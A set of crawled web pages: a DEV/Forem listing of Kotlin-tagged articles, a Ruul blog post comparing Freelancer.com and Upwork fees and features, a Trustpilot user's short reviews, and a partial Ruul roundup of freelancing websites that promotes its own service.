https://forem.com/t/kotlin	Kotlin - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Kotlin Follow Hide a cross-platform, statically typed, general-purpose programming language with type inference Create Post Older #kotlin posts 1 2 3 4 5 6 7 8 9 … 75 … 133 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu I got tired of waiting for Gradle, so I built a runtime that runs Kotlin like Python. Srikar Sunchu Srikar Sunchu Srikar Sunchu Follow Jan 13 I got tired of waiting for Gradle, so I built a runtime that runs Kotlin like Python. # kotlin # performance # productivity # tooling 10 reactions Comments 1 comment 2 min read Why Streaming AI Responses Feels Faster Than It Is (Android + SSE) Shubham Verma Shubham Verma Shubham Verma Follow Jan 12 Why Streaming AI Responses Feels Faster Than It Is (Android + SSE) # android # ai # ux # kotlin Comments Add Comment 3 min read [TIL][Android] Common Android Studio Project Opening Issues Evan Lin Evan Lin Evan Lin Follow Jan 11 [TIL][Android] Common Android Studio Project Opening Issues # help # beginners # android # kotlin Comments Add Comment 2 min read Modern KMP (Part 1): The End of the "404 Not Found"2 Vladyslav Diachuk Vladyslav Diachuk Vladyslav Diachuk Follow Jan 11 Modern KMP (Part 1): The End of the "404 Not Found"2 # architecture # mobile # kotlin # api Comments Add Comment 6 min read [Showdev] Blitzy: a lightweight 2D game engine in Kotlin xeroup xeroup xeroup Follow Jan 11 [Showdev] Blitzy: a lightweight 2D game engine in Kotlin # showdev # kotlin # opensource # gamedev Comments Add Comment 2 min read 📘 Paywall SDK – Tài liệu sử dụng TỪ A Z (kèm JSON mẫu) ViO Tech ViO Tech ViO Tech Follow Jan 9 📘 Paywall SDK – Tài liệu sử dụng TỪ A Z (kèm JSON mẫu) # android # architecture # kotlin # tutorial Comments Add Comment 4 min read Kotlin vs Java: Why We Migrated to Kotlin for Enterprise Apps Droid Droid Droid Follow Jan 8 Kotlin vs Java: Why We Migrated to Kotlin for Enterprise Apps # kotlin # java # webdev Comments Add Comment 2 min read Effortless Android Logging with Timber and Kotlin supriya shah supriya shah supriya shah Follow Jan 8 Effortless Android Logging with Timber and Kotlin # android # kotlin # timber # mobile Comments Add Comment 3 min read How I Generate Both My Kotlin Backend and TypeScript Frontend from One Spec Lucas Dachman Lucas Dachman Lucas Dachman Follow Jan 6 How I Generate Both My Kotlin Backend and TypeScript Frontend from One Spec # webdev # architecture # openapi # kotlin Comments Add Comment 12 min read Debugging Chromium Crashes When Taking Full-Page Screenshots with Playwright Erik Erik Erik Follow for Allscreenshots Jan 6 Debugging Chromium Crashes When Taking Full-Page Screenshots with Playwright # playwright # kotlin # memory # programming 1 reaction Comments Add Comment 3 min read Clean Architecture Made Simple: A Koin DI Walkthrough for Android supriya shah supriya shah supriya shah Follow Jan 7 Clean Architecture Made Simple: A Koin DI Walkthrough for Android # android # kotlin # development # mobile Comments Add Comment 3 min read Mastering GraphQL with Ktor: A Modern Networking Guide for Android supriya shah supriya shah supriya shah Follow Jan 7 Mastering GraphQL with Ktor: A Modern Networking Guide for Android # android # graphql # kotlin # mobile Comments Add Comment 3 min read Agents and Gradle Dont Get Along - I Fixed It in Two Commands Nek.12 Nek.12 Nek.12 Follow Jan 6 Agents and Gradle Dont Get Along - I Fixed It in Two Commands # kotlin # ai # cli # aiagents Comments Add Comment 4 min read From Android native to super apps — what I’ve learned so fa Vũ Nguyễn Vũ Nguyễn Vũ Nguyễn Follow Jan 6 From Android native to super apps — what I’ve learned so fa # mobile # android # ios # kotlin Comments Add Comment 1 min read Day 4: Setting Up CI/CD Erik Erik Erik Follow for Allscreenshots Jan 4 Day 4: Setting Up CI/CD # kotlin # cicd # github Comments Add Comment 7 min read Day 2: Tech Stack Decision - Why Kotlin/Spring Boot + React + Postgres Erik Erik Erik Follow for Allscreenshots Jan 3 Day 2: Tech Stack Decision - Why Kotlin/Spring Boot + React + Postgres # postgres # kotlin # programming # webdev Comments Add Comment 5 min read 🚀 Jetpack Compose Performance Audit ViO Tech ViO Tech ViO Tech Follow Jan 2 🚀 Jetpack Compose Performance Audit # android # jetpackcompose # kotlin # performance Comments Add Comment 3 min read ⚡ Jetpack Compose Performance: Macrobenchmark & Baseline Profile ViO Tech ViO Tech ViO Tech Follow Jan 2 ⚡ Jetpack Compose Performance: Macrobenchmark & Baseline Profile # android # jetpackcompose # kotlin # performance Comments Add Comment 3 min read Exploring Ktor: A Modern Networking Framework for Kotlin supriya shah supriya shah supriya shah Follow Jan 7 Exploring Ktor: A Modern Networking Framework for Kotlin # android # kotlin # networking # mobile Comments Add Comment 3 min read 7 Best Resources to Learn Kotlin: My Journey Stack Overflowed Stack Overflowed Stack Overflowed Follow Jan 1 7 Best Resources to Learn Kotlin: My Journey # webdev # programming # kotlin Comments Add Comment 3 min read Kotlin 확장 함수와 확장 프로퍼티 dss99911 dss99911 dss99911 Follow Dec 31 '25 Kotlin 확장 함수와 확장 프로퍼티 # programming # kotlin # extension # extensionfunction Comments Add Comment 2 min read Kotlin Native 동시성과 Freezing dss99911 dss99911 dss99911 Follow Dec 31 '25 Kotlin Native 동시성과 Freezing # programming # kotlin # kotlinnative # concurrency Comments Add Comment 1 min read Kotlin 함수와 람다: 함수 선언부터 고차 함수까지 dss99911 dss99911 dss99911 Follow Dec 31 '25 Kotlin 함수와 람다: 함수 선언부터 고차 함수까지 # programming # kotlin # function # lambda Comments Add Comment 3 min read Simple Android Architecture : MVVM concept and reduce boilerplate code on Activity/Fragment/ViewModel dss99911 dss99911 dss99911 Follow Dec 30 '25 Simple Android Architecture : MVVM concept and reduce boilerplate code on Activity/Fragment/ViewModel # mobile # android # mvvm # kotlin 5 reactions Comments Add Comment 5 min read Kotlin 제어문: if, when, for, while dss99911 dss99911 dss99911 Follow Dec 31 '25 Kotlin 제어문: if, when, for, while # programming # kotlin # if # when Comments Add Comment 2 min read loading... trending guides/resources Is the Java ecosystem cursed? A dependency analysis perspective KMP 밋업 202512 후기 KMP vs CMP: Kotlin Multiplatform vs Compose Multiplatform – A Complete Guide Retain API in Jetpack Compose React Native, pnpm, and Monorepos: A Dependency Hoisting Journey Dagger 2.0 vs Hilt in Android: A Comprehensive Overview Interfacing with Wasm from Kotlin Using MockK library in Jetpack Compose Preview Kotlin vs. Scala in 2026: The JVM Battle That Can Make or Break Your Next App The Hidden Cost of Default Hierarchy Template in Kotlin Multiplatform What Happens When You Kill the Kotlin Daemon Before R8? Android SaaS App with Subscriptions: Complete 2025 Guide What is produceState in Jetpack Compose? Real Use Cases, Examples & Best Practices Android Dev Hack: Windsurf > ChatGPT + Android Studio Switching I Built CodeContext: An AI-Powered Tool That Analyzes Any Codebase in Seconds 📐 Material 3 Adaptive: Implementing Window Size Classes in Kotlin Compose 🚀 Como criar um novo projeto Spring Boot How to load data in Kotlin with MVVM, MVI, Flow, Coroutines - COMPLETE Guide I built a “Play Store for GitHub releases” with Kotlin Multiplatform Part 2: Sending Notifications - Ktor Native Worker Tutorial 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account	2026-01-13T08:47:56
https://ruul.io/blog/freelancer-com-vs-upwork	Freelancer.com vs Upwork: The Ultimate Comparison for Freelancers Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up grow Freelancer.com vs Upwork Which is Better for Freelancers? Freelancer.com vs Upwork: Compare fees, user ratings, categories, and key features. Canan Başer 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Both freelance platforms are popular with similar bidding systems and free registration for freelancers and clients. Freelancer.com offers 2,700+ service categories, while Upwork has 125+ categories. Both charge a 10% fee on earnings, but Freelancer.com has a slightly lower client fee (3% vs 5%). Freelancer.com is more suited for smaller jobs and frequent tasks, while Upwork handles larger, corporate projects. Upwork repeatedly offers a Project Catalog to sell fixed-price services. Freelancer.com has a 3.7/G2 rating, but Upwork enjoys a higher one, 4.6/G2. Both of them support mobile apps, where Freelancer.com has a higher Google Play rating. Upwork and Freelancer.com offer AI features that make it easier for customers and freelancers. You already know them: Freelancer.com and Upwork Two similar and big competitor platforms. When you think of freelance marketplaces, they immediately come to mind. Both have various features and it is not easy to try them all. You don't have to try anyway. This article will give you the comparison you're looking for more quickly. Welcome to the Freelancer.com vs Upwork debate! What is Freelancer.com? Freelancer.com is a popular freelance marketplace where freelancers and clients meet. How does it work? Freelancer.com has two account types: freelancer and client As a freelancer , you can register for free . Then showcase your portfolio and send proposals to client requests. As a client , you can also sign up for free . Then post a project request and get bids from dozens of freelancers. Is the deal done? Now the project needs to be delivered within the specified time. After that, the payment will be transferred to the freelancer. How can you join? First, go to the website and click on "Earn Money Freelancing." Create an account. You can link directly to your Google or Facebook account. After you create an account, you can create your professional profile. Add a profile photo. Specify industry experience. Showcase your portfolio. Quick Freelancer.com statistics 79 million+ users Active in 247 countries 2,700+ service categories 36.88% of users aged 25-34 38.83% female and 61.17% male Average 41 bids for projects What is Upwork? Upwork is one of the best freelancing sites and one of Freelancer.com's biggest competitors. It connects corporate/individual clients and specialized freelancers. How does it work? Upwork is built on a bidding system . There are also 2 account types here: freelancer and client. Sign up for both without any fee. If you are a freelancer , make a bid. If you are a client , post a project. Upwork has hourly/project-based jobs. However, freelancers can create fixed-price service pacts. Here to see: Project Catalog How can you join? Upwork has no registration fee. With simple steps, you can create an account as both a freelancer or a client. After joining, you’re able to strengthen your profile by adding photos, portfolio, and work experience. Quick Upwork statistics 18 million freelancers 841,000 active clients Active in 180 countries 125+ service categories Annual client spending $4.14B Freelancer.com Freelancer.com only has a bidding system. However, you can work hourly and project-based. Bidding When you find a suitable job on the project page, you should read the detailed description. Project details include total budget, deadline, and description. If you wish to apply, Enter the bid price (Ex: $250) Specify days for delivery (Ex: 3 days) Explain your proposal (Why are you suitable for this job?) Bidding cost Freelancers have the right to submit 8 bids per month. For more, the plan should be upgraded. Basic Plan: $4.99/month for 50 bids Plus: $9.99/month for 100 bids Professional: $49/month for 300 bids Premier: $99/month for 1500 bids Upwork On Upwork, projects can be opened in one of two formats: Hourly Project-based Also, two ways to make money: Undertaking projects through bidding, and Selling fixed-price service packages. Bidding Sending proposals is the most popular way to get work on Upwork. The client publishes a post with a request (delivery time, project fee, and details). As a freelancer, you send a notification with your own proposal. So is every post safe? Probably not. Look for "Payment verified" in a project request on Upwork. In addition, you can view the client's rating and reviews. Bidding cost “Connects” are necessary for making bids. You are provided with a number of free Connects when you first start. For more, you need to buy Connects: 10 connects for $1.50 Project Catalog Want to post once and sell your service over and over? Upwork's Project Catalog makes it possible. You can think of it as a package of services that can be sold over and over again. For example, "Logo design - $500 - 4 days delivery" If the client purchases your service package, you must complete and deliver the project within the deadline you specify. Payment structure & fees Freelancer.com and Upwork both have in-site payment management. But both take a 10% commission . This means: You lose 100 dollars of your 1000 dollars. Freelancer.com How to get paid? As a freelancer, after completing a project on Freelancer.com, you should wait for the client's approval. Your money will be transferred to your Freelancer.com account upon approval. Then you can withdraw your money by choosing one of the payment methods. Payment methods for a freelancer Bank wire transfer - min $500 (5-6 days) PayPal - min $50 (If available in your country) Skrill - min 50 GBP - (only EUR and GBP) Important note: The payment method may change according to the country you live in. When making a withdrawal, please check accordingly. Payment protection If the employer agrees to the project—Immediately paid. If the employer fails to approve the project—Payment will be made automatically within 14 days. Freelancers.com cares about safe payment processes for freelancers and clients. Therefore, if you have a problem, you have the right to dispute. Disputes Have you encountered any wrongdoing? Or is the other party behaving inappropriately? You can start a dispute. Go to the "Dispute" section on the project page and explain the dispute. In order to make the fairest decision, Freelancer.com officials will intervene. Upwork How to get paid? Payment duration changes according to working type; Hourly: Sunday is billing day. 10 days after approval, then your money is available. Project-based: 5 days after project approval. Project catalog: 5 days after project approval. If the customer forgets to confirm your payment, Upwork will auto-confirm within 14 days . If you find it difficult to manage your payments manually, you may like the Direct Debit feature. This way, your payments are transferred to your bank account regularly. Payment methods for a freelancer Upwork's common payment methods: Instant payment for U.S. - $2 per wire transfer Outside USA to local bank - $0.99 per transfer US wire transfer - $50 per transfer M-Pesa (Kenya only) Payoneer PayPal Disputes You can open a dispute as a freelancer or as a client. The Upwork team will review your issue and take action to resolve it. Payment protection When a client makes payment, Upwork holds the money. After the client approves the project, the money is sent to the freelancer. However, if the client does not approve the project, the money is released after 14 days . This creates a system that protects the rights of both the freelancer and the client. Platform fee Freelancer.com and Upwork do not charge for registration. However, if you complete a project, a fee is deducted from your earnings. Likewise, if you are a client, a minimal fee is taken from the fee you pay If you are a freelancer, there is no fee difference. But if you are a client, Freelancer.com fee is lower with a minimal difference. Another option is to find your clients through your network and get paid using Ruul . Ruul offers a wide range of payment options, including bank transfers, credit card payments, and cryptocurrencies. With Ruul, you pay only a commission fee starting from 2.75% , which makes a big difference compared to Freelancer.com and Upwork. Types of clients & project size Your experience as a freelancer and the size of your business as an employer will determine which platform you choose. Freelancer.com For quick jobs and smaller budgets, Freelancer.com is a good choice. You can target smaller, more frequent jobs, simply because the job rotation is intense. Client types Start-ups and low-budget project seekers Small and medium business Individual Entrepreneurs Project size Typically small and medium projects. One-off jobs or short-term projects are common. Upwork Upwork has a more corporate structure than Freelancer.com. In particular, if you are an experienced freelancer, you may want to choose Upwork for high quality work. Some of the large companies that prefer Upwork: Microsoft Airbnb Bissel Cloudflare Automattic Client types Corporate businesses Professional employers High-budget customers Project size Both small and large scale projects are available. Long-term projects and permanent positions are common. Competition Competition can be understood in terms of the number of users. Freelancer.com has 50 million freelancers Upwork has 18 million freelancers Numbers speak. Freelancer.com is really crowded... Earlier, as I told, on Freelancer.com an average of 41 bids are made for projects. This doesn't make Freelancer.com a naughty site. But still keep in mind that competition will make it harder to find work. Number of clients We also need to look at the number of clients. Number of clients on Upwork (Last updated 2023) Source Number of clients on Freelancer.com (including freelancers) Source Flexibility & workload control Both Freelancer.com and Upwork have flexible solutions that facilitate freelancers' workflow. ‍ Messaging system: Thanks to the messaging panel, you can share information through the site. Availability badge: You can also set your working hours on Upwork. This helps you control your workload. Don't forget to add an availability badge to your profile so employers can see your availability. Payment system: Freelancer.com and Upwork manage payments. However, they charge a fee + withdrawal commission from the client and the employer. AI features Another place where AI has come into play. We are at the point where we compare Freelancer.com and Upwork's AI capabilities. Upwork's UMA AI UMA AI is a new feature that helps both clients and freelancers. How does it help users? If you are a freelancer, you can use UMA to write proposals, ask for project details, and get suggestions on how to write better proposals. If you are a client, you can make an automatic evaluation with UMA AI instead of manually reviewing the bids that come to your project. UMA AI is integrated into Upwork with a modern interface. It already seems to be a favorite. Is UMA AI paid? You have limited weekly usage if you use the free version. You can purchase the Freelancer Plus plan for more. Freelancer.com AI Freelancer.com, like Upwork, has an AI feature that makes it easier to write proposals. But to use it, you need to upgrade to a monthly PLUS subscription for $9.99. How does it help users? The proposal text is the most important factor in getting a job after your profile. Therefore, proposal writing with AI is a savior for people with poor writing skills. Freelancer.com also says that writing proposal copies with AI increases your chances of getting hired by 15%. User reviews Reviews say a lot. Now, let's hear about Upwork and Freelancer from the users. What do users say about Freelancer.com? G2 user rating: 3.7 Positive reviews High reliability and worldwide accessibility. It offers a wide range of job opportunities. The review system helps to build trust. Cost-effective solutions can be found. It has an easy-to-use interface. Negative reviews Platform fees are too high for small businesses. The platform can make unfair fee deductions. The support team often ignores complaints. It is very difficult for new users to find work. User accounts can be closed suddenly. Offers are often vague and unrealistic. It is hard to find reliable people. Fraud cases are frequent. Source of comments: G2 What do users say about Upwork? G2 user rating: 4.6 Positive reviews Possibility to work with clients from different sectors. Successful website and mobile app. Payments reported to be secure. It has a modern and useful feel. Support service is adequate. Negative reviews Obligation to buy “connections” is criticized. Upwork's profit motive has increased. Regional job posting access issues. High competition and low quality. Full screen issues for Mac users. High fees for beginners. Source of comments: G2 Mobile app user rating Your PC isn't always at your knees so the mobile experience matters. Luckily, Freelancer.com and Upwork have iOS and Android apps. But do the apps work well? Comparison of user ratings in app stores: App Store: Freelancer.com - 4.7 Upwork - 4.6 Google Play Store: Freelancer.com - 4.0 Upwork - 3.9 Which one is better for you? Freelancer.com and Upwork are two of the most popular platforms for freelancers. Both seem similar, but actually differ in a few important ways. Freelancer.com is a good choice for small to medium sized projects. Especially for those looking to work faster and on a smaller budget. However, there are so many users on the platform. Competition is high. Upwork is more suitable for large companies and long-term projects. The platform tends to offer jobs with higher budgets and is preferred by more professional employers. Upwork also allows you to offer fixed-price service packages. Both platforms charge a 10% commission and payment transactions are managed securely. However, Upwork has a higher user rating (4.6) and the rate of finding a job on the platform is generally higher. In summary, Freelancer.com may be a better option for small jobs and quick projects, while Upwork may be a better option for long-term and large projects. If you are hiring freelancers We have business and individual employers in mind. How to hire freelancers on Freelancer.com and Upwork: Hiring with Freelancer.com You can immediately create a client account on Freelancer.com's membership page by clicking on " Hire a freelancer ". Next, you will need to create a project request. You can create the project on an hourly or project basis. Provide details: Project title Project description Delivery time Total project budget Wait for freelancers to send offers. The offer includes: Freelancer's project completion time Freelancer's requested rate Freelancer's offer description Afterwards, you can easily hire someone from dozens of offers. Hiring with Upwork To hire freelancers on Upwork, create a client profile. Then follow similar steps on Freelancer.com. After creating a project request, you will receive a lot of offers. Quick freelancer analysis with UMA AI UMA AI provides a very unique convenience for clients. Have you received offers from 40 freelancers? You can leave the analysis to UMA. It does all the analysis and compares freelancers. Thus, it saves clients the trouble of going through candidates' profiles one by one. Full time hiring If you have a good deal with a freelancer, you can make a full-time contract on Upwork. And companies like Airbnb and Microsoft already find the best talent here. Frequently asked questions Which site is better than Upwork? Although it is a controversial issue, there are users who say that Freelancer.com is better than Upwork in terms of job range. User experience is more important for an accurate comparison. Is Upwork the same as Freelancer? No, they are not. Even though they are used for the same purpose, their systems and user bases are different. So it would not be accurate to say that Freelancer.com and Upwork are the same thing. Which is better, Freelancer.com or Upwork? From a commission perspective, Freelancer.com and Upwork are the same. But there are significant differences in the user experience. Most users argue that Upwork has a more modern and innovative system. ABOUT THE AUTHOR Canan Başer Developing and implementing creative growth strategies. At Ruul, I focus on strengthening our brand and delivering real value to our global community through impactful content and marketing projects. More Freelance Designer Rates 2025: Complete Pricing Breakdown Everyone’s talking about freelance designer rates, but no one’s clear. This post is made to give you the real scoop on rates in 2025. Read more 5 reasons why freelancers should draw agreements with clients As a freelancer, protecting your rights is essential. Secure your freelance business with an effective freelancer agreement. Learn how with our guide! Read more Hybrid vs Remote Work: Which One is Best For You? This article explains the different subtypes of hybrid work, their advantages, and potential hardships. Read on to discover how to make the hybrid workforce model work for you. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:56
https://www.trustpilot.com/users/5ec247a80eea57efc7a0d976	FrogWizard69 – Reviews Categories Blog Log in For businesses For businesses Log in Categories Blog FR FrogWizard69 Romania Reviews Review of Ruul FR FrogWizard69 2 reviews RO Apr 16, 2025 Great system Great system, great work, amazing team April 16, 2025 Unprompted review Reply from Ruul Apr 16, 2025 Thank you! We’re so glad you’re enjoying the experience. Keep on Ruuling! 💙 Review of LocalBitcoins.com FR FrogWizard69 2 reviews RO May 18, 2020 Verified BEST Prompt service ! May 18, 2020 Unprompted review Previous 1 Next page are you human? Choose country United States Danmark Österreich Schweiz Deutschland Australia Canada United Kingdom Ireland New Zealand United States España Suomi Belgique België France Italia 日本 Norge Nederland Polska Brasil Portugal Sverige About About us Jobs Contact Blog How Trustpilot works Press Investor Relations Community Trust in reviews Help Center Log in Sign up Businesses Trustpilot Business Products Plans & Pricing Business Login Blog for Business Data Solutions Follow us on Legal Privacy Policy Terms & Conditions Guidelines for Reviewers System status Modern Slavery Statement © 2026 Trustpilot, Inc. All rights reserved.	2026-01-13T08:47:56
https://ruul.io/blog/freelance-job-boards#$%7Bid%7D	16 Best Freelancing Websites (categorized for different jobs) Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up grow Best Freelancing Websites Struggling to pick a freelancing website? These 16 categorized freelancing platforms will save your time, energy, and maybe your sanity! Canan Başer 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points How do you want your freelancing website to look, exactly? Are you looking at: Being able to find clients, Building your portfolio, Building your network, or Getting inspiration? I've put together a list of 16 best freelancing websites for everyone, for designers, for writers, and for developers, each useful for something else. Best freelancing websites for everyone 1. Ruul Space Ruul is the portfolio + sales + payment button for all independent professionals who want to work globally. Check it out. Who it’s best for \| How it works Ruul is ideal for all independents who want to bill without a business, operate globally, and get paid quickly in one day, not weeks! With Ruul, you can: Package your services, Bring your own clients, Offer subscription models, and Invoice all of them easily. 🔑 The best way to make the most of Ruul is to use all its features together. That way, you rely less on separate tools. Everything (portfolio, services, invoicing, VAT calculator, payments) comes together, lightening your financial load. Key features Product & service & subscriptions : Offer all via one profile. Link-in-bio store: Sell via Ruul Space storefront. Merchant-of-record: Ruul handles tax compliance. Global invoicing: Send bills in 140+ currencies. Global payouts: choose bank, crypto support (Binance). Fast payouts: Receive funds within 24 hours. No monthly fee: Pay only per transaction. What freelancers think Ruul Trustpilot Score – 4.6 Users appreciate Ruul's quick payout system (which includes crypto!), the sales approach (product, service, and subscription), and the combination of portfolio and selling. Customers also give a thumbs up to Ruul for providing real human support, not bots. Platform costs At Ruul, we’ve been charging only a 5% service fee for a while, never more! And you or your client can choose who pays it. 2. Upwork Upwork is one of the leading freelance job boards in terms of total revenue. Who it’s best for \| How it works Upwork is tailored to freelancers who wish to use proposals to work directly with global companies. To get jobs on Upwork , you send proposals. Besides jobs, you can sell services via the Project Catalog (like Fiverr Gigs if you know what they are), but from what I read in many comments, that doesn't sell well. 🔑 The key to standing out here is to show your work on your profile and write original proposal strategies. Key features Mindful AI support: AI helps write proposals. Instant interviews: Record video instead of text. Direct contract 0% fee : No charge for own clients. Proposal insights: See competitor and bid data. Connects rollover: Unused credits move next month. AI meeting summaries: Auto notes and action items. Custom profile URL: Personalize link and privacy. Payment protection: Ensures freelancers get paid. What freelancers think Upwork Trustpilot Score – 2.2 What freelancers enjoy about Upwork: Corporate and high-budget clients Multiple expert profiles through "Specialized Profiles" 0% fee for bringing your own clients What do freelancers dislike about Upwork: Spending Connects/boosts, but still getting "0 views" Account suspensions during KYC Schedule of escrow payments that delay payouts Platform costs Upwork's new commission model charges freelancers between 0% and 15% of their income. So I cannot say anything exact, but rest assured, the price will be about that much no matter what. The cost of sending proposals on Upwork? You will send proposals using Connects (10 free credits per month; more credits will cost $0.15 per Connect). 👉🏻 Is Upwork Legit? 3. Fiverr Fiverr is the largest marketplace where freelance services are sold as packages. Who it’s best for \| How it works Fiverr is perfect for people who want to sell their services as packages, almost like they are an online store. You create a packaging listing, like: “Brand Design – includes logo, color palette, and brand guidelines — $800.” Customers will find and buy from you on the feed or Fiverr's search engine. 🔑 The best way to be a top seller on Fiver r is to optimize your title and listing description with some keywords. Therefore, your listing shows up higher in searches, and it is basically SEO. Key features AI personal assistant: Automates client chat replies. Cash advance: Get paid early, no interest. Equity program: Earn Fiverr stock shares. Professions catalog: Clients request flexible quotes. Software sales: Sell IT tools and earn commission. Team account: Manage multi-user freelancer teams. Seller referrals: Earn 2.5% Fiverr credits. Fiverr Workspace: Handle invoices and proposals easily. What freelancers think Fiverr Trustpilot Score – 2.6 Users like Fiverr for: Clients come to the freelancer, so there’s less marketing work. Easy to start thanks to quick signup and free listings. Users dislike Fiverr for: The 20% fee cuts deep into earnings. Rankings are unpredictable, and sudden drops are common. Clients usually have more power in disputes. Platform costs Fiverr takes a straight 20% from the sales of its freelance workers, which many freelancers find off-putting. I’ve read various user comments in which people said they got tired of the fee and switched to the best Fiverr alternatives . 👉🏻 Full Fiverr Guide 4. Freelancer.com Freelancer.com is huge, its main competitor is Upwork, and it is one of the oldest freelance job boards (2009). Who it’s best for \| How it works Freelancer.com caters well to freelancers who thrive on the thrill of competing in a bustling, fast-paced environment. Freelancer.com, like Upwork (its largest competitor) , operates on a bidding format. Jobs pop up in your feed, or you get an alert for opportunities that suit you. Then, all freelancers make their bid at the same time, and the client picks one. Based on the proposal competition, this is by far the most competitive site on this list. 🔑 To stay competitive on Freelancer.com, it is important to enhance your account profile (with reviews and ratings) to demonstrate credibility (with verified status) and write persuasive proposals. You must have a Plus, Pro, or Premier plan for paid visibility. Key features Verified badge & video bids: Boost visibility via KYC. Preferred freelancer: Invite-only premium tier. Contest entry: Compete to win client prizes. Milestone payments: Pay is released by progress. 2,700+ category: Target specific niche jobs. Hire Me waiver: 0% fee for referred clients. Local jobs & currencies: Global work and pay. What freelancers think Freelancers like: Access to markets in 247 countries. The largest user base among freelancing sites. Freelancers don't like: Competition often turns into a “lowest price wins” race with hundreds of bids. Stories like “I finished the job, then the client disappeared” are common. The site’s interface and design feel a bit outdated. Spam messages flood the inbox. Platform costs Freelancer.com takes a 10% commission from each project or hourly job (or a minimum of $5, whichever is higher). So if you earn $30, 10% is $3, but the $5 minimum applies, so $5 is deducted. 5. Toptal Toptal is a lesser-known but prestigious freelance platform. Who it’s best for \| How it works Toptal is perfect for elite freelancers who want to break free of Upwork or Fiverr to be in the top 3%. Toptal places you in its talent pool after a 3-8 week interview (which includes language and skill tests). After that, Toptal accepts clients, matches them with your stated skills, and connects you to the client. 🔑 Toptal’s community consists of elite, niche professionals and clients. Don’t sound uncertain, inexperienced, or too generic (that makes matching harder). Key features Elite vetting: Only top 3% accepted. Matcher-delivered jobs: Get curated offers. Weekly pricing: Option for fixed weekly billing. Full admin handling: Toptal manages contracts. Availability control: Set your working hours. Elite community: Access events and peer network. What freelancers think Toptal Trustpilot Score – 4.7 Users appreciate: Being part of an elite community and working on premium projects. Strong professional support, even though the interview process is tough. The fact that a platform like this exists apart from the overcrowded ones. Users dislike: The very strict selection process, and there’s a trial period after acceptance. It can take a long time to get matched with projects, even after getting accepted. Client and platform expectations from freelancers are extremely high. Platform costs Toptal doesn’t charge freelancers any membership or application fees, nor does it take a cut from their earnings. Fees apply only to clients. Some sources claim that “Toptal charges freelancers,” but I haven’t found any proof to confirm that. Best freelancing websites for writers 1. Skyword Skyword is the largest freelance platform for writers. Who it’s best for \| How it works Skyword is ideal for writers who prefer being matched with projects instead of searching 